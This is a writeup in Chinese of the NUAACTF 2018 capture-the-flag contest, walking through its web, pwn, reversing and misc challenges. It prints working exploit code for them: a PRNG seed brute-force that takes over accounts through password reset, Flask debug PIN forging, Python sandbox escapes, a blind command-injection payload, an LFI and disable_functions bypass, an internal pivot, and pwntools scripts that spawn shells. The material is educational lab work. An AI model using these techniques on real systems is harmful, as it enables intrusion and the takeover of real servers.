NUAACTF 2018 writeup
[TOC]
Web
Web1 Asuri-Information-System
题目描述
http://ctf.asuri.org:8001
听说有五个很厉害的人,一个是admin,一个是admin1,一个是admin2,一个是admin3,一个是admin4。听说打败他们其中一个就可以拿到flag啦
flag格式为NUAACTF{.*}
信息收集
根据题目描述,我们要做的肯定就是要去登录admin[1-4] || admin
了。
首先进入题目界面,发现题目功能很简单,首页只提供注册登录两个功能。
我们先随便登录注册一下,进去后发现有个重置密码的功能。
重置一下抓包看看。
然后真的发现自己邮箱里面多了一封重置密码的邮件。
扫目录可以得到www.zip
,发现题目的所有基本源码。
思路
基本的信息如上,然后我们可以根据已有信息来看,从那个重置密码请求包来看,貌似我们可以控制重置用户的用户名。那我们是不是可以重置amdin
的密码,通过什么方式登录上呢,而且那个请求包还有回显了一个int
也比较奇怪,看起来像是var_dump()
出来的数据。
通过大概的代码审计,题目用了在sql
语句的地方预编译,所以没什么办法注入得到admin
查看handler
源码:
<?php
require "./config.php";
require "./email.php";
function generatePasswd(){
mt_srand((double) microtime() * 1000000);
var_dump(mt_rand());
return substr(md5(mt_rand()),0,6);
}
function changePasswd($username, $password){
$password = md5($password);
$stmt = $GLOBALS['dbh']->prepare("UPDATE users SET password = ? WHERE username = ?");
$stmt->bind_param('ss', $password, $username);
$stmt->execute();
if ($stmt->affected_rows === 1){
echo "<script>alert(\"Success!\");history.back(-1);</script>";
return;
}
else
echo "<script>alert(\"Error!\");history.back(-1);</script>";
$stmt->free_result();
$stmt->close();
}
function getEmail($username){
if ($username){
$stmt = $GLOBALS['dbh']->prepare("SELECT email From users where username = ?");
$stmt->bind_param('s', $username);
$stmt->bind_result($email);
$stmt->execute();
if($stmt->fetch()){
return $email;
}
else
return "error!";
$stmt->free_result();
$stmt->close();
}
else{
return "error!";
}
}
$username = isset($_POST['username']) ? trim($_POST['username']) : NULL;
$email = getEmail($username);
if ($email == "error!"){
echo "Error!";
die();
}
$passwd = generatePasswd();
if(sendMail($email,$passwd)){
changePasswd($username,$passwd);
}
else{
echo "<script>alert(\"Error! Check your Email address plz!\");history.back(-1);</script>";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Asuri-Team Managment System</title>
</head>
<body>
</body>
通过代码审计,我们可以看到传入的username
到了getEmail
这个函数,这个函数用了预编译,所以我们没什么办法注入。这个函数就是根据username
返回对应email
,通过generatePasswd()
产生随机密码,通过sendMail()
发送密码到邮箱,最后用changePasswd()
来修改数据库中的密码。
整个逻辑基本清楚了,所以我们是可以通过传入一个username=admin
来重置管理员的密码。但是怎么登录成admin
呢,我们是不是可以通过爆破随机密码或者破解随机密码来登录呢。
我们重点看看generatePasswd()
function generatePasswd(){
mt_srand((double) microtime() * 1000000);
var_dump(mt_rand());
return substr(md5(mt_rand()),0,6);
}
我们可以看到,页面上的int(2055522123)
即是var_dump(mt_rand());
的显示结果。
可以看看
void mt_srand ([ int $seed ] )
用 seed 来给随机数发生器播种。 没有设定 seed 参数时,会被设为随时数。
Note: 自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 给随机数发生器播种 ,因为现在是由系统自动完成的。
然后随机数种子是(double) microtime() * 1000000
mixed microtime ([ bool $get_as_float ] )
microtime() 当前 Unix 时间戳以及微秒数。本函数仅在支持 gettimeofday() 系统调用的操作系统下可用。
如果调用时不带可选参数,本函数以 "msec sec" 的格式返回一个字符串,其中 sec 是自 Unix 纪元(0:00:00 January 1, 1970 GMT)起到现在的秒数,msec 是微秒部分。字符串的两部分都是以秒为单位返回的。
如果给出了 get_as_float 参数并且其值等价于 TRUE,microtime() 将返回一个浮点数。
Note: get_as_float 参数是 PHP 5.0.0 新加的。
所以这里microtime() * 1000000
是不超过7位数的,而且第一次随机数我们已经得到了,我们可以通过爆破随机数种子来得到随机数。
贴一个自己写的php exp
<?php
// echo ((double) microtime() * 1000000)."\n";
// mt_srand((double) microtime() * 1000000);
// var_dump(mt_rand());
// echo substr(md5(mt_rand()),0,6);
// int(1409622410)
// bc700b
$seed = 0;
for($i = 0;$i < 1000000; $i++){
mt_srand($i);
$str = mt_rand();
if($str === 1796651235){
$seed = $i;
}
}
echo $seed."\n";
mt_srand($seed);
mt_rand();
echo substr(md5(mt_rand()),0,6);
猜解得到密码登录就可以得到flag
这里避免给大家竞争随机…就给了5个amdin
,其实应该注册一个就对应给一个admin
,但是感觉5个应该差不多了…
Web2 男航理工大学选课系统
题目描述
http://ctf.asuri.org:8003
小火汁,听说你想选课?
flag格式为NUAACTF{.*}
信息收集
题目设置非常简单
就一个登录注册界面。然后给了一个www.zip
的附件,放出了关键源码。
然后,随便点一个选课,就报错了。
再看看源码,其中在user.py
中发现
@users.route('/asserts/<path:path>')
def static_handler(path):
filename = os.path.join(app.root_path,'asserts',path)
if os.path.isfile(filename):
return send_file(filename)
else:
abort(404)
解题
这个题熟悉flask
的会发现,那个报错页面其实就是开启了debug
的界面,我们可以利用pin
码来认证debug
界面进行命令执行。
而关于pin
码,我看赛时很多队伍都采取爆破的方式,导致输入过多,就不能再输入了。就导致我赛时只能人肉运维重置web2
。
md5_list = [
'root', #当前用户,可通过读取/etc/passwd获取
'flask.app', #一般情况为固定值
'Flask', #一般情况为固定值
'/usr/local/lib/python2.7/dist-packages/flask/app.pyc', #可通过debug错误页面获取
'2485377892354', #mac地址的十进制,通过读取/sys/class/net/eth0/address获取mac地址 如果不是映射端口 可以通过arp ip命令获取
'0c5b39a3-bba2-472c-a43d-8e013b2874e8' #机器名,通过读取/proc/sys/kernel/random/boot_id 或/etc/machine-id获取
]
生成pin
码的代码
def get_pin(md5_list):
h = hashlib.md5()
for bit in md5_list:
if not bit:
continue
if isinstance(bit, unicode):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
return rv
拿到pin码便可执行命令。
具体可以参考Flask debug pin安全问题
贴一下这题得到的exp
import hashlib
def get_pin(md5_list):
h = hashlib.md5()
for bit in md5_list:
if not bit:
continue
if isinstance(bit, unicode):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
return rv
name = get_name()
md5_list = [
'ctf',
'flask.app',
'Flask',
'/usr/local/lib/python2.7/dist-packages/flask/app.pyc',
'2485378285570',
''
]
print get_pin(md5_list)
这里可能比较坑的是/usr/local/lib/python2.7/dist-packages/flask/app.pyc
跟machine_id
是空两处。不过通过几次尝试也都可以尝试出来。难度并不算大。
然后就是命令执行,一个简单没有任何过滤的Python
沙盒,方法很多。
这里简单给个事例
[console ready]
>>> ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls").read()' )
'APP\nflag\nrun.py\ntest.py\nwww.zip\n'
>>> ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("cat ./flag").read()' )
'NUAACTF{F14sssskkkrrr_D3Bug_n0t_S4f3}'
Web3 张哥的金牌之旅
题目描述
信息收集
打开发现是个java
框架。
提供了简单的登录注册。
然后发现只有A+B
问题可以点
代码提交页面提供代码提交,查看最后一次提交的代码功能。
引用代码提示
请以代码文件为url,例如http://mysite.com/main.c,仅支持c,cpp,java,py,js,cs的提交
然后提交一个https://raw.githubusercontent.com/php/php-src/master/ext/zlib/zlib.c
,发现返回代码过多,再找个几行代码的https://gitee.com/CheungSSH_OSC/CheungSSH/raw/master/bin/DataConf.py
返回提示成功,查看上一次提交代码,发现以源码方式返回。还有个下载代码的功能,得到一个文件名为用户名经过md5后的txt
文件。
思路
既然引用代码处,可以引用http
协议的url
,那我们可以试试用file
如何。
发现是forbidden
,通过fuzz
我们可以得到jar netdoc
两个java SSRF
支持的协议没有被ban
,而且需要再最后加入?1.c
来绕过后缀检测
然后查看最后一次代码提交,发现并没有什么改变。
试试netdoc
,传入netdoc:///?1.c
发现可以得到回显
但是直接请求flag
,发现被ban
掉了,所以我们得另寻他路。
突破口
通过查看一系列文件,发现如果直接读class
文件的话,直接展示出来了class
二进制文件,那我们下载下来会不会也是class
文件的形式呢
下载下来后,我们用file
看一下,果然是个java class
文件
用JD-GUI
打开得到源码
题目描述说需要逆向师傅其实指的就是这里需要逆向class
文件,(其实也不需要…直接用JD-GUI
直接就能看了…
这里省略了其他源码的审计。
然后看到貌似多出的这个User.class
类,然后发现了比较敏感的readObject()
函数,java
反序列化漏洞特征,可能存在java
反序列化漏洞
然后找到其利用的地方,发现在netdoc:///app/webapps/ROOT/WEB-INF/classes/org/nuaa/tomax/logindemo/controller/UserController.class
调用了User
类。
UserController.class
的关键部分:
@PostMapping({"/record"})
public void record(long userId, HttpSession session, String cmd)
throws Exception
{
Timestamp timestamp = new Timestamp(System.currentTimeMillis());
UserEntity user = (UserEntity)session.getAttribute("user_" + userId);
if (cmd != null)
{
User mUsr = new User(user.getId(), user.getUsername(), cmd, timestamp);
SysUtil.recordCmd(mUsr);
}
}
在看到SysUtil.class
:
发现竟然有部分貌似真的需要逆向,但是其实仔细往下看,利用点跟上面那段代码没太大关系。
看到recordCmd()
,可以说是非常标准的java
反序列化的代码了。
public static void recordCmd(User user)
throws IOException, ClassNotFoundException
{
FileOutputStream fos = new FileOutputStream("object");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(user);
os.close();
FileInputStream fis = new FileInputStream("object");
ObjectInputStream ois = new ObjectInputStream(fis);
User outUsr = (User)ois.readObject();
ois.close();
}
接着我们回到User.class
,很明显,这里可以控制传入cmd
,我们再看看User.class
的关键代码:
private static final String[] BLACKLIST = { "$", "{", "}", "`", "base64", "&", ";", "||", "%", "(", ")", "rm", "echo"};
public User(long id, String username, String cmd, Timestamp time)
{
this.id = id;
this.username = username;
this.cmd = cmd;
this.time = time;
}
private void readObject(ObjectInputStream in)
throws Exception
{
in.defaultReadObject();
if (checkCmd(this.cmd).booleanValue())
{
String cmd_pre = "sleep $(";
String cmd_suf = ")";
String exec = cmd_pre + this.cmd + cmd_suf;
String[] cmds = { SysUtil.asciiToString("47,98,105,110,47,98,97,115,104"), SysUtil.asciiToString("45,99"), exec };
SysUtil.execCmd(cmds);
}
}
public Boolean checkCmd(String cmd)
{
for (String symbol : BLACKLIST) {
if (cmd.contains(symbol)) {
return Boolean.valueOf(false);
}
}
return Boolean.valueOf(true);
}
cmds
转换为ascii
就是
String[] cmds = { "/bin/bash", "-c", exec };
exec
就是传入的cmd
,然而这里利用点比较尴尬,因为我们传入的代码是被exec
是被sleep $()
给包围起来的,而关键的一些绕过都进了黑名单
private static final String[] BLACKLIST = { "$", "{", "}", "`", "base64", "&", ";", "||", "%", "(", ")", "rm", "echo"};
这里我们可以使用命令执行盲注的形式进行对flag
猜解。稍后我会详细写一篇文章讲解命令盲注的方式。
我们可以采用cat /flag | cut -c 1 | tr N 10
这样的形式对flag
进行猜解。
cat /flag
读取/flag
中的内容cut -c 1
截取第一个字符tr N 10
用10
来代替flag
中的字母N
所以,通过把flag
中的内容读出来之后,用字母代替进行sleep
,如果猜解对的话,并且排除网络原因,页面会延缓5s
才返回,所以我们可以利用这个特性把flag
猜解出来。
其实这里设置得不太好,应该把flag
改成全英文比较好一些得到flag
。也可以用burp intruder
来猜解。
Web4 Pentest
首先发现 url 有文件读取,利用
http://localhost:8004/index.php?action=php://filter/read=convert.base64-encode/resource=index.php
读取源码,扫目录得到
[22:52:52] 301 - 311B - /img -> http://localhost:8004/img/
[22:52:52] 302 - 104B - /index.php -> /index.php?action=show.php
[22:52:52] 200 - 169B - /INDEX.PHP
[22:52:52] 200 - 169B - /index.PHP
[22:52:52] 302 - 104B - /index.php/login/ -> /index.php?action=show.php
[22:52:52] 200 - 83KB - /info.php
[22:52:55] 403 - 299B - /server-status
[22:52:55] 403 - 300B - /server-status/
[22:52:56] 200 - 772B - /upload.php
Task Completed
直接查看 upload.php 的源码
<?php
$addr = md5("hac425".$_SERVER['REMOTE_ADDR']);
$sandbox = '/var/www/html/' .$addr ;
@mkdir($sandbox);
@chdir($sandbox);
$is_upload = false;
$msg = null;
$UPLOAD_ADDR = "";
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=$UPLOAD_ADDR.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
$newimagepath = $UPLOAD_ADDR.$newfilename;
imagejpeg($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = $UPLOAD_ADDR.$newfilename;
unlink($target_path);
$is_upload = true;
}
}
else
{
$msg = "上传失败!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片!";
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
$newimagepath = $UPLOAD_ADDR.$newfilename;
imagepng($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = $UPLOAD_ADDR.$newfilename;
unlink($target_path);
$is_upload = true;
}
}
else
{
$msg = "上传失败!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
$newimagepath = $UPLOAD_ADDR.$newfilename;
imagegif($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = $UPLOAD_ADDR.$newfilename;
unlink($target_path);
$is_upload = true;
}
}
else
{
$msg = "上传失败!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}
?>
<div id="upload_panel">
<ol>
<li>
<h3>说明</h3>
<p>给自己留的图片上传区</p>
</li>
<li>
<h3>上传区</h3>
<form enctype="multipart/form-data" method="post">
<p>请选择要上传的图片:<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
<div id="msg">
<?php
if($msg != null){
echo "提示:".$msg;
}
?>
</div>
<div id="img">
<?php
if($is_upload){
$img_path = $addr .'/'.$img_path;
echo '<img src="'.$img_path.'" width="250px" />';
}
?>
</div>
</li>
<?php
if($_GET['action'] == "show_code"){
include 'show_code.php';
}
?>
</ol>
</div>
看源码可以发现图片上传后经过了二次渲染,但是我们可以发现先执行了move_uploaded_file
,所以文件是上传成功了的,结合文件包含漏洞 getshell ,但是我们可以看到 info.php 里面的信息
disable_functions
passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru
发现大部分的执行函数都被disable
了,但是我们还可以用proc_open
,也可以参考
无需sendmail:巧用LD_PRELOAD突破disable_functions
<?php
$command="id\npwd\n";
$descriptorspec = array(
0 => array('pipe', 'r'),
1 => array('pipe', 'w'),
2 => array('pipe', 'w')
);
$resource = proc_open($command, $descriptorspec, $pipes, null, $_ENV);
if (is_resource($resource))
{
fwrite($pipes[0], "pwd\n");
$stdin = $pipes[0];
$stdout = $pipes[1];
$stderr = $pipes[2];
while (! feof($stdout))
{
$retval .= fgets($stdout,1024);
}
while (! feof($stderr))
{
$error .= fgets($stderr);
}
fwrite($pipes[0], "pwd\n");
$stdout = $pipes[1];
$stderr = $pipes[2];
while (! feof($stdout))
{
$retval .= fgets($stdout,1024);
}
while (! feof($stderr))
{
$error .= fgets($stderr);
}
fclose($stdin);
fclose($stdout);
fclose($stderr);
$exit_code = proc_close($resource);
}
if (! empty($error))
throw new Exception($error);
else
echo $retval;
?>
然后我们在首页得到那个 img 路径,利用文件包含,可以发现成功执行命令。
接下来简化一下操作,我就直接把那些 php disable 去掉。然后我们发现有个文件
传 ew + busybox,拿use auxiliary/scanner/portscan/tcp
,得到 172.20.0.3 这个 ip 上有端口开着
挂好 ew 之后,我们尝试用 smbclient 来连接内网的 samba 服务(这里第二天来弄了,之前又起了一个 container ,所以 ip 变成了 172.21.0.3
这里列一下 smbclient 常用的命令
1.列出某个IP地址所提供的共享文件夹
smbclient -L //198.168.0.1/ -U username%password
2.像FTP客户端一样使用smbclient
smbclient //192.168.0.1/tmp -U username%password
执行smbclient命令成功后,进入smbclient环境,出现提示符: smb:/> 这时输入?会看到支持的命令
这里有许多命令和ftp命令相似,如cd 、lcd、get、megt、put、mput等。通过这些命令,我们可以访问远程主机的共享资源。
3,直接一次性使用smbclient命令
smbclient -c "ls" //192.168.0.1/tmp -U username%password
和
smbclient //192.168.0.1/tmp -U username%password
smb:/>ls
功能一样的
例,创建一个共享文件夹
smbclient -c "mkdir share1" //192.168.0.1/tmp -U username%password
如果用户共享//192.168.0.1/tmp的方式是只读的,会提示
NT_STATUS_ACCESS_DENIED making remote directory /share1
4,除了使用smbclient,还可以通过mount和smbcount挂载远程共享文件夹
挂载 mount -t cifs -o username=administrator,password=123456 //192.168.0.1/tmp /mnt/tmp
取消挂载 umount /mnt/tmp
若出现了下图的错误,则需要加上-m SMB2
可以看到挂载了一个 www 目录,接着进入交互模式
得到第一部分的 flag
然后发现在 172.21.0.4 上开放着 8080 端口
挂代理请求 172.21.0.4:8080 发现是 Apache Tomcat/7.0.79
访问 manager 尝试了弱密码无果,尝试 CVE-2017-12615
直接上 msf
成功拿到两段 flag
Pwn
overflow
简单栈溢出,用了随机数模拟了canary,本地生成随机数即可。
exp:
#/usr/bin/env python
from pwn import *
from ctypes import *
libc = cdll.LoadLibrary("libc.so.6")
p = process('./overflow')
ret = 0x80485BD
t = libc.time(0)
libc.srand(t)
random = libc.rand()
p.recvline()
payload = 'a'*0x20 + p32(random) + 'a'*0xc + p32(ret)
#gdb.attach(p)
p.sendline(payload)
print p.recvline()
kvm
简单的kvm,只需要在vm里面执行端口写操作即可。
exp:
#/usr/bin/env python
from pwn import *
p = process('./kvm')
p.recvuntil("execute: \n")
code = asm('''
movabs rax, 0x67616c66
push 4
pop rcx
mov edx, 0x100
OUT:
out dx, al
shr rax, 8
loop OUT
''', arch = 'amd64')
p.sendline(code)
p.recvuntil("execute again: \n")
#gdb.attach(p)
p.sendline(asm(shellcraft.amd64.linux.sh(), arch = 'amd64'))
p.interactive()
password_checker
snprintf
误用, 它返回的是格式化解析后形成的字符串的长度(及期望写入目标缓冲区的长度),而不是实际写入 目标缓冲区的内存长度。
int off = snprintf(buf, 0x100, "name:%s&", input);
...........................
...........................
...........................
// off 可能会比较大,出现越界写
off = snprintf(buf + off, 0x100 - off, "pwd:%s", input);
所以利用 snprintf
让 off 移动到返回地址的位置, 然后写返回地址为 getshell 函数的地址。
具体看 exp
和源码
exp:
#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = "debug"
binary_path = "../dist/pwn"
# p = process(binary_path)
p = remote("172.17.0.2", 20000)
p.recvuntil("welcome.....")
# 计算出需要输入的字符串长度,让 off + buf 能够写到返回地址
# 还要去掉 pwd: 这 4 个 字节
payload = "a" * (0x10c+4-4-2-4)
p.send(payload)
# gdb.attach(p,"""
# bp 0x0804873B
# c
# """)
# pause()
payload = p32(0x08048674)
p.sendline(payload)
p.interactive()
type_confusion
类型混淆,可以先释放一个 c1类的 obj, 然后分配一个 c2 类的 obj, 然后利用 see c1 obj 的功能调用虚函数,会调用 c2 的虚函数,c2 的相应虚函数的作用就是 system(“sh)
int c2::dump()
{
system("sh");
}
exp:
#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = "debug"
binary_path = "../dist/pwn"
# p = process(binary_path)
p = remote("172.17.0.2", 20000)
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline("0")
p.recvuntil("Your choice: ")
p.sendline("100")
p.recvuntil("Your choice: ")
p.sendline("1")
p.recvuntil("Index: ")
p.sendline("0")
p.interactive()
具体看 exp
和源码
Rev
stupid_contract_challenge[rev]
简单solidity逆向,源码如下
pragma solidity ^0.4.25;
contract stupidChallenge{
bytes32 seed = 0xaaa0adabb79fb8b9bca5a8938fa3a2b8415250476c705b525f5f565d5456124e;
function generateFlag() public returns(bytes){
bytes memory finalFlag = new bytes(seed.length);
uint i;
for(i = 0;i<seed.length/2;i++) {
finalFlag[i]=seed[i]^0xcc;
}
for(;i<seed.length;i++) {
finalFlag[i]=seed[i]^0x33;
}
return finalFlag;
}
}
直接把字节码扔 https://ethervm.io/decompile 即可
variant_of_cat
智能合约,整数下溢
先调用fightAsuriMonster
使得攻击力下溢,再次调用fightBoss
即可
STG TouHou
是一个彻头彻尾的车万游戏呢。
正常通关
通关游戏,会把flag打印在屏幕上
逆向分析
这个题目会告知大家这个程序叫做四圣龙神录,其实是可以从github上找到源码的。Rev的题目拿到了源码,那基本上就做出来了。当然源代码肯定没有flag相关的逻辑,可以结合源代码对程序进行审计。 首先逆向日常搜索flag字符串,会发现如下的函数:
void sub_4308D0()
{
int v0; // eax
if ( dword_D0CA74 == 1 )
{
v0 = sub_40E039(255, 255, 255);
sub_40D837(0, 40, v0, "Flag:%s", (unsigned int)&byte_D0CA78);
}
}
这个Flag很显然是刻意打印的,那么追踪一下这个byte_D0CA78
signed int __cdecl sub_430730(char a1)
{
signed int result; // eax
char v2; // STD7_1
signed int i; // [esp+E8h] [ebp-8h]
signed int j; // [esp+E8h] [ebp-8h]
for ( i = 0; i < 54; ++i )
byte_AEE308[i] -= a1;
for ( j = 0; ; j += 2 )
{
result = j;
if ( j >= 54 )
break;
v2 = 16 * trans2num(byte_AEE308[j]);
byte_D0CA78[j / 2] = trans2num(byte_AEE309[j]) + v2;
}
dword_D0CA74 = 1;
return result;
}
会找到这个函数,可以看到这里又存储了一个全局变量。这里的运算相当于是将一个数字分成了高4bit和低4bit然后进行合并处理,那么我们继续回溯,检查这个byte_AEE308
的来历,会找到另一段的程序逻辑:
signed int __cdecl sub_430850(char a1)
{
signed int result; // eax
signed int i; // [esp+DCh] [ebp-8h]
for ( i = 0; ; ++i )
{
result = i;
if ( i >= 54 )
break;
byte_AEE308[i] ^= a1;
}
return result;
}
跟踪调用关系,会发现这两个函数是由同一个函数调用的:
signed int __cdecl sub_430960(int a1, char a2)
{
signed int result; // eax
if ( a1 == 1 )
return sub_405696(a2);
if ( a1 == 2 )
result = sub_402A09(a2);
return result;
}
跟踪到外面,可以看到这样的逻辑
result = dword_D0C03C++ + 1;
if ( dword_D0C03C == 1 )
return sub_40A907(dword_D0C03C, 255);
if ( dword_D0C03C == 2 )
result = sub_40A907(dword_D0C03C, 19);
return result;
结合东方(游戏逻辑!)一般来说都是先1后2,所以是先调用前面那个逻辑后调用后面的逻辑。于是根据调用顺序,我们能够写出解密脚本:
import codecs
enc = [182,135,181,183,182,187,182,187,182,185,181,184,182,182,181,138,183,181,182,183,185,187,182,185,185,188,182,136,185,185,183,134,185,186,183,134,184,181,185,185,182,135,183,185,185,188,184,138,185,184,182,134,181,136 ]
def dec_one(enc, num):
for i in range(len(enc)):
enc[i] ^= num
def dec_two(enc, num):
for i in range(len(enc)):
enc[i] -= num
tmp = 0
ans = ''.join(chr(c) for c in enc)
print(codecs.decode(ans,'hex'))
if __name__ == '__main__':
dec_one(enc, 255)
dec_two(enc, 19)
# nuaactf{We1c0m3_2_G3nS0K4o}
Middle
题目来源:因为难度定位是中等所以叫这个
初步准备
对于想要做这个题目的人来说,想必也是有了一定的基础。比如说首先要认得这个程序是一个ELF文件是Linux下的可执行文件之类的。(其实我第一次做的时候就不会认这个,滑稽) 那么逆向首先无非准备几个工具
- 静态工具:IDA
- 动态分析工具:gdb
- 环境:Ubuntu
首先运行程序,发现程序两个行为:
- 输入
nuaactf{.+}
格式的字符串 - 如果输入完成,会让我们做一个C语言的题目
而且在运行的时候会发现,程序会在5秒之内结束。整个题目第一眼逻辑就有了
静态辅助
掏出静态分析工具,前面一大段其实是字符串在计算对齐的内容,不是特别重要。整体分析就会发现其实是一个给字符串置0的操作。之后的第一个函数sub_80485E4();
在打印欢迎内容,之后会遇到函数:
if ( ptrace(0, 0, 1, 0) < 0 )
{
puts("Hey guys, what are you doing?!not cheat me~");
++dword_804A0D8;
exit(-1);
}
这个ptrace
上网查就会发现,这个函数会阻止动态调试,这里可以选择将这个内容patch掉,将二进制内容改成90(nop),跳过这个内容。或者gdb调试直接跳过这个内容也可以,反正有办法都行。
之后来到这个地方的逻辑:
puts("Hey you, what's your password?");
puts("format:nuaactf{}, length:24");
for ( i = 0; i < 24; ++i )
__isoc99_scanf("%c", i + a1);
puts("em?ok, you can get in...");
for ( j = 0; ; ++j )
{
result = j;
if ( j >= 24 )
break;
*(_BYTE *)(j + a1) = ((int (__cdecl *)(_DWORD))loc_8048628)(*(unsigned __int8 *)(j + a1));
}
可以看到这里的内容就是让我们输入一段类似flag的内容,不过注意到,最后会对数组a1
的每一个元素进行更新,但是似乎是一个没有被识别成函数的内容,跟进去查看,发现一些奇怪的指令阻止了程序的正常解析,不过仔细观察,似乎这个跳转根本就不会调用到这些神奇的指令,利用前面教过的patch方法,就能够修改掉程序内容,看到正确的程序内容:
v2 = 0;
for ( i = 0; i <= 7; ++i )
v2 |= (((signed int)a1 >> i) & 1) << *(_BYTE *)(i + 0x804A0C2);
return v2
这个巨大的数字其实是一个地址,里面内容为
.data:0804A0C2 db 3
.data:0804A0C3 db 7
.data:0804A0C4 db 2
.data:0804A0C5 db 1
.data:0804A0C6 db 6
.data:0804A0C7 db 4
.data:0804A0C8 db 5
.data:0804A0C9 db 0
理解一下,就相当于是一个数组的下标i在遍历。总的分析这个算法,其实就是将一个字节的每一bit的顺序重新映射到一个新的位置上具体对应关系为:
0 1 2 3 4 5 6 7
3 7 2 1 6 4 5 0
C语言课程
然后有一个让大家轻松一下的环节,让大家输入一个程序的运行结果。这个一看就是宏定义的错误实例,即会产生一个非预期的答案
1+3*1+4 = 8
不过其实整个考出来跑也是可以的~
最后的答案
最后一段逻辑如下
v3 = -66;
v4 = 116;
v5 = 48;
v6 = 48;
v7 = -80;
v8 = 124;
v9 = -68;
v10 = -14;
v11 = 42;
v12 = 48;
v13 = 48;
v14 = 16;
v15 = 98;
v16 = -74;
v17 = 116;
v18 = -26;
v19 = -92;
v20 = 88;
v21 = 124;
v22 = -26;
v23 = 80;
v24 = 124;
v25 = 16;
v26 = 118;
puts("Well,Well,You get here right?");
if ( !dword_804A0D8 || dword_804A0D0 )
{
puts("En?No No No you are not clever~");
}
else
{
puts("!!! Hey !!!");
puts("Do you remember your password?");
for ( i = 0; i <= 23; ++i )
{
*(_BYTE *)(a1 + i) = *(_BYTE *)(i + a1) ^ dword_804A0D4;
if ( *(&v3 + i) != *(_BYTE *)(i + a1) )
break;
}
if ( i == 24 )
puts("YOU ARE RIGHT!THE KEY IS FLAG!");
else
puts("O?Nearly");
}
可以看到离正确答案很近了~
不过会发现,不是那么容易能够进入这个匹配逻辑。仔细观察会发现,变量dword_804A0D8
在一开始的ptrace
处出现过,而dword_804A0D0
则是会在一个handler里面出现,这个handler其实是注册的一个信号事件,5秒后自动跳转为1(这个地方其实是坑调试器用的,因为调试器可以选择忽略alarm但是此时变量依然会被置为1)不过一样可以用强硬的手段跳过这段逻辑。之后发现是一段关键逻辑比较
*(_BYTE *)(a1 + i) = *(_BYTE *)(i + a1) ^ dword_804A0D4;
if ( *(&v3 + i) != *(_BYTE *)(i + a1) )
break;
其中dword_804A0D4
存放了C语言那段中,我们输入的正确答案。如果输入正确答案,则会通过与上面出现那一大段数字(其实是一个数组)进行异或,得到答案。于是总结下来,我们可以得到整体逻辑:
- 首先对输入进行bit变化
- 与C语言输入的正确答案进行异或
- 与程序内部的数据比较
因此可以写出解密逻辑:
# -*- coding:utf-8 -*-
bit_map = [7, 3, 2, 0, 5, 6, 4, 1]
check = [190, 116, 48, 48, 176, 124, 188, 242, 42, 48, 48, 16, 98, 182, 116, 230, 164, 88, 124, 230, 80, 124, 16, 118]
right_answer = 8
def bit_detrans(num):
tmp_u = 0
for i in range(8):
tmp = (num >> i) & 0x1
tmp_u |= (tmp << bit_map[i])
return tmp_u
tmp = [each ^ right_answer for each in check]
ans = [chr(bit_detrans(each)) for each in tmp]
print(''.join(ans)) # nuaactf{Haa!You_G0t_1t!}
Misc
签到题
打开即送flag
fs
apfs
dmg末尾给了12位的密码Xmas3?theme3
直接打开dmg得到flag.txt
rev
pyc
with open('rev', 'rb') as f1:
with open('genflag', 'wb') as f2:
f2.write(f1.read()[::-1])
得到genflag后,modu1e需要改为module
用uncompyle6
uncompyle6 -o . genflag
参考enc写dec
def enc():
flag = r'To make it more difficult to calculate the flag by hand, nuaactf{py_uncompyle}, flag is for scripts'
